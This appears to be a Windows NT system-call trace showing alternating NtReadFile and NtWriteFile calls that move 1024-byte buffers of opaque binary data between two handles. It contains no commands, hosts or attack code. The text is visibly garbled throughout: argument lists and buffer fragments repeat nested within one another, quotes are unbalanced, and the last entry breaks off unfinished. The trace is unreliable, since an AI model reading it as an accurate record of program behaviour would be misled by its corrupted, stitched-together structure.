\23f&,(\17/-%,\27\324k?7&\2357?9+Chs{>kL]O[CuO"QADJ\7|LI+DCAC_VKo46Wz\367C5;V\302V\307\33\251^\36\36D\200"'$uB\256\15).\250\300%\36ygA'Y3_87R0P+VrT,[v\22\225\356J%\262\262\10,\326\220\357\257\212\231*\353\25031\201*\333\5\264:\271H\2703\260\304y\326>\12:\326\366\3450+\312\301\355\225!\330=\21j\11\217\11^2y@\26\333G\204-\273\34I\169(\266\371\177/G\357X\236\344\225\303#%\347.')vH$,".\320?1\273+\334~\3674\01m\323\177\177,n\363\351|\37\377 u\6\13\247\3416\256H\21x|\304\10\2156P6\3321\301\364zy0n{\262r(\37\177\17\274;j^k\347}}<~\344+\15:\327c\257\301&/3#3485\2624\308=6<>\20>\34\14\23\36\34\34 %,$&dm).:+/u/(!920R41%8:N\32=:-?\30\236\34\31\13 \245!\263%"3'+\267+,<\375%E1a\332O49\32671i8\374\270L;9\363\317\3^\37"\252?\7\3636%\337(\220**.-,\34\3601\273\16\204\36046\313\2222\205\330j\236<\220R\341O.P.r\313\312\345!\247(M\354\253\24-\14 \244\362\266\350@0=\259\231r7\354>*m\363\267\36\316H\340:.\247\377\257.S*\21*u0\255\327\15E=", ) , ) == 0x0
 01259  1356   NtWriteFile  (92, 0, 0, 0,  (92, 0, 0, 0, "|`\243S\324\242.E-\242\217\215"\265@\316:K1\371II\352\252M\254>~\34\360\340\254\204c\230\30\304\227\346@\34\14\301\11\12\364\222\34\22~\373\323\255\20/p\265,\243tv\266y0.O$\15P\203\222tr\345\221l/\221\303\203/\274|L\372\357\261\354P\231\315=\276u\255\210#\275\30;\35\353\26\260H\357\30:N\2z 3\356\252\227\334#1\355]\273\322\240\211\336yn|\201'V\36\231\2\210#\3526\371O~\240\277\225\36<\213\36V$\12\217\215O\305\356\337q\4\371\253\214\16\177_\353U\363\332wf)\2636\323>\22\275\335\326\3620)l^\273b\2626[-\221\177\214\274g#c\344!\217\363\306\2610"\303)7%\315\307\272\274\5e6\334\373`\21\276~l'\371\251\230"\2\2227~<\27\364)\272M5\36f\27\24\2529\252b\14u\257\14\31\355G\274\211yi\335Mk\312\260\246\346/\33\371\337G|\321\201\321\355c\202\364\356m\365\256\232r\1\3621[\235\216A\24H\216\321D.\335x\215L\37\240\264)b\363\215\346>m\276\343\22\34\3Fc?\311C\377\347:FN\252W\304\340 \0\213\277\12\343\210\35543\240\201\11f\313F\376\277\34/\31\337;`L\367[\244\1\16\25679Y'\350h?\321]u\12\262\300\355w\340\36\177tzS\345*\3732\27N\265\257\1\177", 1024, 0x0, 0, ... {status=0x0, info=1024}, ) \265@\316:K1\371II\352\252M\254>~\34\360\340\254\204c\230\30\304\227\346@\34\14\301\11\12\364\222\34\22~\373\323\255\20/p\265,\243tv\266y0.O$\15P\203\222tr\345\221l/\221\303\203/\274|L\372\357\261\354P\231\315=\276u\255\210#\275\30;\35\353\26\260H\357\30:N\2z 3\356\252\227\334#1\355]\273\322\240\211\336yn|\201'V\36\231\2\210#\3526\371O~\240\277\225\36<\213\36V$\12\217\215O\305\356\337q\4\371\253\214\16\177_\353U\3634\235\3c\35\3375\370\275\241+\264!\317`h\366\357\222R)?\354\244+\370\7\327(P\2329\334[\335x\212\372\36\340\300CS7tW\366|\334\256\200e`w:m\14\266\246\217\7EA\254\203/\241\244\264\266\240\243\25Zx\23\201\256\2616\227\237\236|\331\334\23`\252\275}\201uS\334p\23^\343\207\210\201*>\332wf)\2636\323>\22\275\335\326\3620)l^\273b\2626[-\221\177\214\274g#c\344!\217\363\306\2610 (92, 0, 0, 0, "|`\243S\324\242.E-\242\217\215"\265@\316:K1\371II\352\252M\254>~\34\360\340\254\204c\230\30\304\227\346@\34\14\301\11\12\364\222\34\22~\373\323\255\20/p\265,\243tv\266y0.O$\15P\203\222tr\345\221l/\221\303\203/\274|L\372\357\261\354P\231\315=\276u\255\210#\275\30;\35\353\26\260H\357\30:N\2z 3\356\252\227\334#1\355]\273\322\240\211\336yn|\201'V\36\231\2\210#\3526\371O~\240\277\225\36<\213\36V$\12\217\215O\305\356\337q\4\371\253\214\16\177_\353U\363\332wf)\2636\323>\22\275\335\326\3620)l^\273b\2626[-\221\177\214\274g#c\344!\217\363\306\2610"\303)7%\315\307\272\274\5e6\334\373`\21\276~l'\371\251\230"\2\2227~<\27\364)\272M5\36f\27\24\2529\252b\14u\257\14\31\355G\274\211yi\335Mk\312\260\246\346/\33\371\337G|\321\201\321\355c\202\364\356m\365\256\232r\1\3621[\235\216A\24H\216\321D.\335x\215L\37\240\264)b\363\215\346>m\276\343\22\34\3Fc?\311C\377\347:FN\252W\304\340 \0\213\277\12\343\210\35543\240\201\11f\313F\376\277\34/\31\337;`L\367[\244\1\16\25679Y'\350h?\321]u\12\262\300\355w\340\36\177tzS\345*\3732\27N\265\257\1\177", 1024, 0x0, 0, ... {status=0x0, info=1024}, ) \2\2227~<\27\364)\272M5\36f\27\24\2529\252b\14u\257\14\31\355G\274\211yi\335Mk\312\260\246\346/\33\371\337G|\321\201\321\355c\202\364\356m\365\256\232r\1\3621[\235\216A\24H\216\321D.\335x\215L\37\240\264)b\363\215\346>m\276\343\22\34\3Fc?\311C\377\347:FN\252W\304\340 \0\213\277\12\343\210\35543\240\201\11f\313F\376\277\34/\31\337;`L\367[\244\1\16\25679Y'\350h?\321]u\12\262\300\355w\340\36\177tzS\345*\3732\27N\265\257\1\177", 1024, 0x0, 0, ... {status=0x0, info=1024}, ) == 0x0
 01260  1356   NtReadFile  (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024},  (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024}, "9\31:9 \260\2=O\335_;\3355\344`&\3440\204f\350<\253\355\306\255;y\364$\346\357c\367#\27\372,^\373)\276\206\302\37\244!\35\247%!\235\201\33%?')\2213+\227\211\223/\2134\210[g`6a\263\215\36\277<>\277\274\22\276\215\231\145\311O\240-U\2414\0=\302r\257$\236)\177"\332\271q6?\227?*(\323\15\2767\335\3\33:\17\367=\242+\242\373\241/\178\301#\250%e\251?58\266j\33\341\14=\227'\200!c%\4N\207;'!\32+-\305?\3577W5\375\334\203\251\246<5=\260\14<\2309d\263\33\211\272&^,X*\213\346+xA\2328\211\216(\23\2377\332\33\2353*\230>\36\277\315H\225<\264%\275\32O\377\24\213p\250dQi\242\336\a)(\360\255\336\23A4\270\371g\336x\16?\214\323\314:\16)\207\11\26\234\14\2\221$7\27\345\267\262w-Jp\257\351\107\201"X1\316\356V0\3519\214\356<\335\213\356\33\264KI\26qv\367#V\364&\35\244\374*\220\375-,\241\341169a\3456G\3559w\352<_\353?\215I\314\36K\365!\375\362$c\363'\0\3!\373,\25\373/A\3402H_`\12\267[=\272<\30\177~\353\207\371_\221\3\245\257\6g\08E<\251\15\252\14B\254\11\254\26\260\336\243455\264\371=om\267=\212\33\263\34\36\223q^e\312\326f\224\353\317\337i3\256,\355!\252\327321\20\362\13uEO|\217\234\302+=\213\274\33\225\357\243\337#_\344\6\245\331\327]4\3518j\253-f\24\310\312\16\315K\227\360{1Hy\377\277\220\231\35\24\3376\214\203,ve", ) \332\271q6?\227?*(\323\15\2767\335\3\33:\17\367=\242+\242\373\241/\178\301#\250%e\251331\26\306\260\367279>?58\266j\33\341\14=\227'\200!c%\4N\207;'!\32+-\305?\3577W5\375\334\203\251\246<5=\260\14<\2309d\263\33\211\272&^,X*\213\346+xA\2328\211\216(\23\2377\332\33\2353*\230>\36\277\315H\225<\264%\275\32O\377\24\213p\250dQi\242\336\a)(\360\255\336\23A4\270\371g\336x\16?\214\323\314:\16)\207\11\26\234\14\2\221$7\27\345\267\262w-Jp\257\351\107\201 (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024}, "9\31:9 \260\2=O\335_;\3355\344`&\3440\204f\350<\253\355\306\255;y\364$\346\357c\367#\27\372,^\373)\276\206\302\37\244!\35\247%!\235\201\33%?')\2213+\227\211\223/\2134\210[g`6a\263\215\36\277<>\277\274\22\276\215\231\145\311O\240-U\2414\0=\302r\257$\236)\177"\332\271q6?\227?*(\323\15\2767\335\3\33:\17\367=\242+\242\373\241/\178\301#\250%e\251?58\266j\33\341\14=\227'\200!c%\4N\207;'!\32+-\305?\3577W5\375\334\203\251\246<5=\260\14<\2309d\263\33\211\272&^,X*\213\346+xA\2328\211\216(\23\2377\332\33\2353*\230>\36\277\315H\225<\264%\275\32O\377\24\213p\250dQi\242\336\a)(\360\255\336\23A4\270\371g\336x\16?\214\323\314:\16)\207\11\26\234\14\2\221$7\27\345\267\262w-Jp\257\351\107\201"X1\316\356V0\3519\214\356<\335\213\356\33\264KI\26qv\367#V\364&\35\244\374*\220\375-,\241\341169a\3456G\3559w\352<_\353?\215I\314\36K\365!\375\362$c\363'\0\3!\373,\25\373/A\3402H_`\12\267[=\272<\30\177~\353\207\371_\221\3\245\257\6g\08E<\251\15\252\14B\254\11\254\26\260\336\243455\264\371=om\267=\212\33\263\34\36\223q^e\312\326f\224\353\317\337i3\256,\355!\252\327321\20\362\13uEO|\217\234\302+=\213\274\33\225\357\243\337#_\344\6\245\331\327]4\3518j\253-f\24\310\312\16\315K\227\360{1Hy\377\277\220\231\35\24\3376\214\203,ve", ) , ) == 0x0
 01261  1356   NtWriteFile  (92, 0, 0, 0,  (92, 0, 0, 0, "\25\314.\3\330\233\323J/Y\212\224\12:\330\365\325\342\201\15\2724f\201\327\247\36\354\367\26\314\376"\202\340}\226\331F\301\0\37\360\376\314\355\324\252k6\310\210\11\233\227\32Uvg\207\2075\235J\226\255\13U?\250\256v\17]\357&z?Y\212k\270\342\21r\25\23?\256\272b\235\326Q\257g\310\177\333\17w\4\317F\235c\35]\333=\327\365l\2268yp+\233?ej\243\311\264Kx\4\321\241\375\317\271.\220\24\334\343\2\363t\363Hn\316D\2646\37X\274\353{\254w-\363\364\31\326p\362\261\250\212&\311m)\257\363]\304|\264\204\337\301\17\6;j\233\311]\221H"Q\252\257$ \306\274\207\326\337\352\36qo\372!\216\177<]\263\374o2\231. \237Yo\33\32\315\264\350\317\217B\324 8\224\201S\33\300n\212\7\0.\342Z\304\23a\342K\257\205\372\7_\270\332\360z\321\272\255k\361ro\22\200f\201,W$r\353j\241bQ\241\276\267&\3250o\230g{Q"(U\334%\35A\246-\221OD\224L\260[2[?\356H\2110\201\345\331\356\270Dl\225\\36/\345\313\223\220\25\373\275\274<\10\313%\267\223Z\200\3248\233\307\263\310\20z\235\210\325n\267\347m\363*\335\22|\327\257* {\12\11\373`X\242\3139\327\311(\213&N\305\261\217N\322\273\206\350\210<\245\20\275\273\324\361%7u\265o\\10,1\257\225U\245^H\226\371@\23\327\227F\204\262\263I|x\231\307*\30A)~\13\224g\366\212\237\241x<^B\273\346\361e\267\313S\340vLo\351\200\253\211b\303\311\362Z\35\20&yF\371DZ*\373\251\325\273\35\4\206\245\231+{\326\370\231\316\233_\22d\365o\3061\303\274\7\301\235\353\371\3U\374", 1024, 0x0, 0, ... {status=0x0, info=1024}, ) \202\340}\226\331F\301\0\37\360\376\314\355\324\252k6\310\210\11\233\227\32Uvg\207\2075\235J\226\255\13U?\250\256v\17]\357&z?Y\212k\270\342\21r\25\23?\256\272b\235\326Q\257g\310\177\333\17w\4\317F\235c\35]\333=\327\365l\2268yp+\233?ej\243\311\264Kx\4\321\241\375\317\271.\220\24\334\343\2\363t\363Hn\316D\2646\37X\274\353{\254w-\363\364\31\326p\362\261\250\212&\311m)\257\363]\304|\264\204\337\301\17\6;j\233\311]\221H (92, 0, 0, 0, "\25\314.\3\330\233\323J/Y\212\224\12:\330\365\325\342\201\15\2724f\201\327\247\36\354\367\26\314\376"\202\340}\226\331F\301\0\37\360\376\314\355\324\252k6\310\210\11\233\227\32Uvg\207\2075\235J\226\255\13U?\250\256v\17]\357&z?Y\212k\270\342\21r\25\23?\256\272b\235\326Q\257g\310\177\333\17w\4\317F\235c\35]\333=\327\365l\2268yp+\233?ej\243\311\264Kx\4\321\241\375\317\271.\220\24\334\343\2\363t\363Hn\316D\2646\37X\274\353{\254w-\363\364\31\326p\362\261\250\212&\311m)\257\363]\304|\264\204\337\301\17\6;j\233\311]\221H"Q\252\257$ \306\274\207\326\337\352\36qo\372!\216\177<]\263\374o2\231. \237Yo\33\32\315\264\350\317\217B\324 8\224\201S\33\300n\212\7\0.\342Z\304\23a\342K\257\205\372\7_\270\332\360z\321\272\255k\361ro\22\200f\201,W$r\353j\241bQ\241\276\267&\3250o\230g{Q"(U\334%\35A\246-\221OD\224L\260[2[?\356H\2110\201\345\331\356\270Dl\225\\36/\345\313\223\220\25\373\275\274<\10\313%\267\223Z\200\3248\233\307\263\310\20z\235\210\325n\267\347m\363*\335\22|\327\257* {\12\11\373`X\242\3139\327\311(\213&N\305\261\217N\322\273\206\350\210<\245\20\275\273\324\361%7u\265o\\10,1\257\225U\245^H\226\371@\23\327\227F\204\262\263I|x\231\307*\30A)~\13\224g\366\212\237\241x<^B\273\346\361e\267\313S\340vLo\351\200\253\211b\303\311\362Z\35\20&yF\371DZ*\373\251\325\273\35\4\206\245\231+{\326\370\231\316\233_\22d\365o\3061\303\274\7\301\235\353\371\3U\374", 1024, 0x0, 0, ... {status=0x0, info=1024}, ) (U\334%\35A\246-\221OD\224L\260[2[?\356H\2110\201\345\331\356\270Dl\225\\36/\345\313\223\220\25\373\275\274<\10\313%\267\223Z\200\3248\233\307\263\310\20z\235\210\325n\267\347m\363*\335\22|\327\257* {\12\11\373`X\242\3139\327\311(\213&N\305\261\217N\322\273\206\350\210<\245\20\275\273\324\361%7u\265o\\10,1\257\225U\245^H\226\371@\23\327\227F\204\262\263I|x\231\307*\30A)~\13\224g\366\212\237\241x<^B\273\346\361e\267\313S\340vLo\351\200\253\211b\303\311\362Z\35\20&yF\371DZ*\373\251\325\273\35\4\206\245\231+{\326\370\231\316\233_\22d\365o\3061\303\274\7\301\235\353\371\3U\374", 1024, 0x0, 0, ... {status=0x0, info=1024}, ) == 0x0
 01262  1356   NtReadFile  (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024},  (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024}, ")\246\350\25510\307\14c\6\311\217\315'\330+<<\275\7\273o\20\33\11\240""!c\30C\275\10+\252U\302\256\3214j\365\272<\206i\372\334\35:\24\334\227\0?&v\254@\247$q\304y|\376\360\213"F\377\22$\360\267'\21\320%#\330**i,<\215\323\252\357\22\12\367l\241b\3037AT$\32\20J:\247\25\16\273\241\266\271\377\264\274R\23\10i\322'\335)6\364\363\0|!\357 "\21\370$\36\325p].\30\353\305k\364o\256q\233?\334\371\366\375n\250z9,\264\242~\23\364s~A8I\206\37\304A\346Dhzz\12l.6\307\19\322d\200\21\4\257\30\\261\365\374^>:\32\364Y\237\320\240[\267/\314'6n+0\252\206\254,\13,\2273=\223Z\2675\32\15\37\272>\20<\2323&\234\34\334jh\243+jx\247"Ql\253.\210\4,V\37\26\260o\177\2644\262o\20\2735\34\254\277=p\330<\7\334\237 c*&\335xz\220i(\216-\7C\220\35-22\325\13\5\376p\272\302?3=\271\240\33\37\342:\232\264e\362a\244ib\3 \210F"=\215\10 \265\2672!x\21:\247\261x\36\202].\377\30;\27)\217>q\254R\21peP\343\345\11+\352q\31~\377\273\377\273g$,d\27\262X\26334\325%\257\33\230\335jT\257@\7\302\252\225'\266Q!\3023\\33\276\252\360D=22\335\10\69\37*\232?\246<\4\24\221I:3\250pJ\373%2t\317--\21a1-9\2532\4bb4\25\2\223P\3659$\3329? \13\35r\36\222\254\5\326#'u\316'F \324\324\247\241\12\3r4\262&\362\261\22\37\270:;c\234y]", )  (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024}, ")\246\350\25510\307\14c\6\311\217\315'\330+<<\275\7\273o\20\33\11\240""!c\30C\275\10+\252U\302\256\3214j\365\272<\206i\372\334\35:\24\334\227\0?&v\254@\247$q\304y|\376\360\213"F\377\22$\360\267'\21\320%#\330**i,<\215\323\252\357\22\12\367l\241b\3037AT$\32\20J:\247\25\16\273\241\266\271\377\264\274R\23\10i\322'\335)6\364\363\0|!\357 "\21\370$\36\325p].\30\353\305k\364o\256q\233?\334\371\366\375n\250z9,\264\242~\23\364s~A8I\206\37\304A\346Dhzz\12l.6\307\19\322d\200\21\4\257\30\\261\365\374^>:\32\364Y\237\320\240[\267/\314'6n+0\252\206\254,\13,\2273=\223Z\2675\32\15\37\272>\20<\2323&\234\34\334jh\243+jx\247"Ql\253.\210\4,V\37\26\260o\177\2644\262o\20\2735\34\254\277=p\330<\7\334\237 c*&\335xz\220i(\216-\7C\220\35-22\325\13\5\376p\272\302?3=\271\240\33\37\342:\232\264e\362a\244ib\3 \210F"=\215\10 \265\2672!x\21:\247\261x\36\202].\377\30;\27)\217>q\254R\21peP\343\345\11+\352q\31~\377\273\377\273g$,d\27\262X\26334\325%\257\33\230\335jT\257@\7\302\252\225'\266Q!\3023\\33\276\252\360D=22\335\10\69\37*\232?\246<\4\24\221I:3\250pJ\373%2t\317--\21a1-9\2532\4bb4\25\2\223P\3659$\3329? \13\35r\36\222\254\5\326#'u\316'F \324\324\247\241\12\3r4\262&\362\261\22\37\270:;c\234y]", ) F\377\22$\360\267'\21\320%#\330**i,<\215\323\252\357\22\12\367l\241b\3037AT$\32\20J:\247\25\16\273\241\266\271\377\264\274R\23\10i\322'\335)6\364\363\0|!\357  (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024}, ")\246\350\25510\307\14c\6\311\217\315'\330+<<\275\7\273o\20\33\11\240""!c\30C\275\10+\252U\302\256\3214j\365\272<\206i\372\334\35:\24\334\227\0?&v\254@\247$q\304y|\376\360\213"F\377\22$\360\267'\21\320%#\330**i,<\215\323\252\357\22\12\367l\241b\3037AT$\32\20J:\247\25\16\273\241\266\271\377\264\274R\23\10i\322'\335)6\364\363\0|!\357 "\21\370$\36\325p].\30\353\305k\364o\256q\233?\334\371\366\375n\250z9,\264\242~\23\364s~A8I\206\37\304A\346Dhzz\12l.6\307\19\322d\200\21\4\257\30\\261\365\374^>:\32\364Y\237\320\240[\267/\314'6n+0\252\206\254,\13,\2273=\223Z\2675\32\15\37\272>\20<\2323&\234\34\334jh\243+jx\247"Ql\253.\210\4,V\37\26\260o\177\2644\262o\20\2735\34\254\277=p\330<\7\334\237 c*&\335xz\220i(\216-\7C\220\35-22\325\13\5\376p\272\302?3=\271\240\33\37\342:\232\264e\362a\244ib\3 \210F"=\215\10 \265\2672!x\21:\247\261x\36\202].\377\30;\27)\217>q\254R\21peP\343\345\11+\352q\31~\377\273\377\273g$,d\27\262X\26334\325%\257\33\230\335jT\257@\7\302\252\225'\266Q!\3023\\33\276\252\360D=22\335\10\69\37*\232?\246<\4\24\221I:3\250pJ\373%2t\317--\21a1-9\2532\4bb4\25\2\223P\3659$\3329? \13\35r\36\222\254\5\326#'u\316'F \324\324\247\241\12\3r4\262&\362\261\22\37\270:;c\234y]", ) Ql\253.\210\4,V\37\26\260o\177\2644\262o\20\2735\34\254\277=p\330<\7\334\237 c*&\335xz\220i(\216-\7C\220\35-22\325\13\5\376p\272\302?3=\271\240\33\37\342:\232\264e\362a\244ib\3 \210F (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024}, ")\246\350\25510\307\14c\6\311\217\315'\330+<<\275\7\273o\20\33\11\240""!c\30C\275\10+\252U\302\256\3214j\365\272<\206i\372\334\35:\24\334\227\0?&v\254@\247$q\304y|\376\360\213"F\377\22$\360\267'\21\320%#\330**i,<\215\323\252\357\22\12\367l\241b\3037AT$\32\20J:\247\25\16\273\241\266\271\377\264\274R\23\10i\322'\335)6\364\363\0|!\357 "\21\370$\36\325p].\30\353\305k\364o\256q\233?\334\371\366\375n\250z9,\264\242~\23\364s~A8I\206\37\304A\346Dhzz\12l.6\307\19\322d\200\21\4\257\30\\261\365\374^>:\32\364Y\237\320\240[\267/\314'6n+0\252\206\254,\13,\2273=\223Z\2675\32\15\37\272>\20<\2323&\234\34\334jh\243+jx\247"Ql\253.\210\4,V\37\26\260o\177\2644\262o\20\2735\34\254\277=p\330<\7\334\237 c*&\335xz\220i(\216-\7C\220\35-22\325\13\5\376p\272\302?3=\271\240\33\37\342:\232\264e\362a\244ib\3 \210F"=\215\10 \265\2672!x\21:\247\261x\36\202].\377\30;\27)\217>q\254R\21peP\343\345\11+\352q\31~\377\273\377\273g$,d\27\262X\26334\325%\257\33\230\335jT\257@\7\302\252\225'\266Q!\3023\\33\276\252\360D=22\335\10\69\37*\232?\246<\4\24\221I:3\250pJ\373%2t\317--\21a1-9\2532\4bb4\25\2\223P\3659$\3329? \13\35r\36\222\254\5\326#'u\316'F \324\324\247\241\12\3r4\262&\362\261\22\37\270:;c\234y]", ) , ) == 0x0
 01263  1356   NtWriteFile  (92, 0, 0, 0,  (92, 0, 0, 0, "\305\6\210\347\37c\272\260\314A\363Y!\313d\242\26Hg.\14\340\341]\303\265n\215\373\220\33\267\376`\360\251\254 \226\325`\263\352\303/\363a\251\237\354\15e\270-}\36\243\7\27B\216]\23k\0ju_vj\2\245\335]f\333@\264_\246{\13t\224\26\222\221\271\266G\340\302\314"\274\211\4\5^\316\370\361o\221\355\334m?\337rz\262\7\375'\335\266m\332\346\202.\361\214j\15\276ZdML\300\306\237\13\364\302E\302\243\376\212k\347\352"\225\335\357\377\260\245}b\4\3239"\264\260\272d\0/"`\276[S\263B\211b\201\322\21H\23w\333#9$5tYr8\377\312Q\307w\3521\302\237^\217\255*\363\241 \316\366_("\365\10V\241\247C\220X\320\202\270w3\214\371F\266F3(\304\257\337\35hI\372FZ\350\1\35\354\241+E\233#&\216\205q\335\322+\17\11\362\333\260\313B\212\323\300\23\253\3071\276Q\345g\32\372\206\357\355\235\234\17f;\217\304\326\345'\303\353,`\335'\311i_\27\310\232\336\360:\370k\256\220+\336p\233\36\234"\323\216\334\252\213\10\212Jv'\342[0\325\3\2\334\356\233@1\343\213N}\1"\324\316\354\224\376\334\226\251#\203\274%\315\275Nm\0\25\354\14R!\314\223\267\313e\331\310LD\373g3\314H\261\352nt!\356\26\27\347\270\261jgQ\334Q<\206\250\201\16\31gG-\267\305\201C\260:u !\274\343\271<:\23 \315=7\213\350SZy\350&\226\337\357P\347\341\222[q\362\20", 1024, 0x0, 0, ... {status=0x0, info=1024}, ) \274\211\4\5^\316\370\361o\221\355\334m?\337rz\262\7\375'\335\266m\332\346\202.\361\214j\15\276ZdML\300\306\237\13\364\302E\302\243\376\212k\347\352 (92, 0, 0, 0, "\305\6\210\347\37c\272\260\314A\363Y!\313d\242\26Hg.\14\340\341]\303\265n\215\373\220\33\267\376`\360\251\254 \226\325`\263\352\303/\363a\251\237\354\15e\270-}\36\243\7\27B\216]\23k\0ju_vj\2\245\335]f\333@\264_\246{\13t\224\26\222\221\271\266G\340\302\314"\274\211\4\5^\316\370\361o\221\355\334m?\337rz\262\7\375'\335\266m\332\346\202.\361\214j\15\276ZdML\300\306\237\13\364\302E\302\243\376\212k\347\352"\225\335\357\377\260\245}b\4\3239"\264\260\272d\0/"`\276[S\263B\211b\201\322\21H\23w\333#9$5tYr8\377\312Q\307w\3521\302\237^\217\255*\363\241 \316\366_("\365\10V\241\247C\220X\320\202\270w3\214\371F\266F3(\304\257\337\35hI\372FZ\350\1\35\354\241+E\233#&\216\205q\335\322+\17\11\362\333\260\313B\212\323\300\23\253\3071\276Q\345g\32\372\206\357\355\235\234\17f;\217\304\326\345'\303\353,`\335'\311i_\27\310\232\336\360:\370k\256\220+\336p\233\36\234"\323\216\334\252\213\10\212Jv'\342[0\325\3\2\334\356\233@1\343\213N}\1"\324\316\354\224\376\334\226\251#\203\274%\315\275Nm\0\25\354\14R!\314\223\267\313e\331\310LD\373g3\314H\261\352nt!\356\26\27\347\270\261jgQ\334Q<\206\250\201\16\31gG-\267\305\201C\260:u !\274\343\271<:\23 \315=7\213\350SZy\350&\226\337\357P\347\341\222[q\362\20", 1024, 0x0, 0, ... {status=0x0, info=1024}, ) \264\260\272d\0/ (92, 0, 0, 0, "\305\6\210\347\37c\272\260\314A\363Y!\313d\242\26Hg.\14\340\341]\303\265n\215\373\220\33\267\376`\360\251\254 \226\325`\263\352\303/\363a\251\237\354\15e\270-}\36\243\7\27B\216]\23k\0ju_vj\2\245\335]f\333@\264_\246{\13t\224\26\222\221\271\266G\340\302\314"\274\211\4\5^\316\370\361o\221\355\334m?\337rz\262\7\375'\335\266m\332\346\202.\361\214j\15\276ZdML\300\306\237\13\364\302E\302\243\376\212k\347\352"\225\335\357\377\260\245}b\4\3239"\264\260\272d\0/"`\276[S\263B\211b\201\322\21H\23w\333#9$5tYr8\377\312Q\307w\3521\302\237^\217\255*\363\241 \316\366_("\365\10V\241\247C\220X\320\202\270w3\214\371F\266F3(\304\257\337\35hI\372FZ\350\1\35\354\241+E\233#&\216\205q\335\322+\17\11\362\333\260\313B\212\323\300\23\253\3071\276Q\345g\32\372\206\357\355\235\234\17f;\217\304\326\345'\303\353,`\335'\311i_\27\310\232\336\360:\370k\256\220+\336p\233\36\234"\323\216\334\252\213\10\212Jv'\342[0\325\3\2\334\356\233@1\343\213N}\1"\324\316\354\224\376\334\226\251#\203\274%\315\275Nm\0\25\354\14R!\314\223\267\313e\331\310LD\373g3\314H\261\352nt!\356\26\27\347\270\261jgQ\334Q<\206\250\201\16\31gG-\267\305\201C\260:u !\274\343\271<:\23 \315=7\213\350SZy\350&\226\337\357P\347\341\222[q\362\20", 1024, 0x0, 0, ... {status=0x0, info=1024}, ) \365\10V\241\247C\220X\320\202\270w3\214\371F\266F3(\304\257\337\35hI\372FZ\350\1\35\354\241+E\233#&\216\205q\335\322+\17\11\362\333\260\313B\212\323\300\23\253\3071\276Q\345g\32\372\206\357\355\235\234\17f;\217\304\326\345'\303\353,`\335'\311i_\27\310\232\336\360:\370k\256\220+\336p\233\36\234251]r\305\15\262\210\237\323\356\263\300a\220E\10\354\243\236 I(\334\223\31cR\350%\37\202\362\260\376\360/\6e\234\2047\235Yc\11f\322\224\323\262\2112\10\261\330\241\32'\360 (92, 0, 0, 0, "\305\6\210\347\37c\272\260\314A\363Y!\313d\242\26Hg.\14\340\341]\303\265n\215\373\220\33\267\376`\360\251\254 \226\325`\263\352\303/\363a\251\237\354\15e\270-}\36\243\7\27B\216]\23k\0ju_vj\2\245\335]f\333@\264_\246{\13t\224\26\222\221\271\266G\340\302\314"\274\211\4\5^\316\370\361o\221\355\334m?\337rz\262\7\375'\335\266m\332\346\202.\361\214j\15\276ZdML\300\306\237\13\364\302E\302\243\376\212k\347\352"\225\335\357\377\260\245}b\4\3239"\264\260\272d\0/"`\276[S\263B\211b\201\322\21H\23w\333#9$5tYr8\377\312Q\307w\3521\302\237^\217\255*\363\241 \316\366_("\365\10V\241\247C\220X\320\202\270w3\214\371F\266F3(\304\257\337\35hI\372FZ\350\1\35\354\241+E\233#&\216\205q\335\322+\17\11\362\333\260\313B\212\323\300\23\253\3071\276Q\345g\32\372\206\357\355\235\234\17f;\217\304\326\345'\303\353,`\335'\311i_\27\310\232\336\360:\370k\256\220+\336p\233\36\234"\323\216\334\252\213\10\212Jv'\342[0\325\3\2\334\356\233@1\343\213N}\1"\324\316\354\224\376\334\226\251#\203\274%\315\275Nm\0\25\354\14R!\314\223\267\313e\331\310LD\373g3\314H\261\352nt!\356\26\27\347\270\261jgQ\334Q<\206\250\201\16\31gG-\267\305\201C\260:u !\274\343\271<:\23 \315=7\213\350SZy\350&\226\337\357P\347\341\222[q\362\20", 1024, 0x0, 0, ... {status=0x0, info=1024}, ) \324\316\354\224\376\334\226\251#\203\274%\315\275Nm\0\25\354\14R!\314\223\267\313e\331\310LD\373g3\314H\261\352nt!\356\26\27\347\270\261jgQ\334Q<\206\250\201\16\31gG-\267\305\201C\260:u !\274\343\271<:\23 \315=7\213\350SZy\350&\226\337\357P\347\341\222[q\362\20", 1024, 0x0, 0, ... {status=0x0, info=1024}, ) == 0x0
 01264  1356   NtReadFile  (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024},  (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024}, "\0\1\317\313\362~v},\301);\26\335\245\325\317\3426\333\362\3056\34\376l!\3544U\236\271\233-ON\367\13\203\223S$pL-\210)\13k\254\240\22\345\330u2)\277#\306\3671Y17^6x\17L="\314I\353\327(e>\17(\315/\23p#\315\333\304\35\377\313\307\370>6\2309j\33[,w\31M\310H\240'8d\242\264\254\26\246\13\277\245\262\20\224\321\240\207\13\211VZ\22\311Ze\274]\3533\33A1.\227`\21nc\177I\26Whr@\257lw\216\257h\341\362e4c*r\372mz;oM\17G\233L\241\37_o\371\23+\26\355,B\310Q\346I@\2576\23631;z1\267\362x8?r=v[Zk1M_sIW\263",\275''h,ICYCE_\27042gFTXD^\H+\21xP\\11-'\36\31\241\344.\20\344&\324!\330{\12+.\322;\3471\3223\10\367\274p#M\35\17u?0~"\21\255[.\256v1\243;r1\351ip\2051\272j5\6\276f\25\263e\24\264>a/\225C&\226~d\262!\276\22\25\21\12\34;.|\322\370\14>\3302q5\2053\274\254\356\35:o:\327\23.\33Z;, )  (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024}, 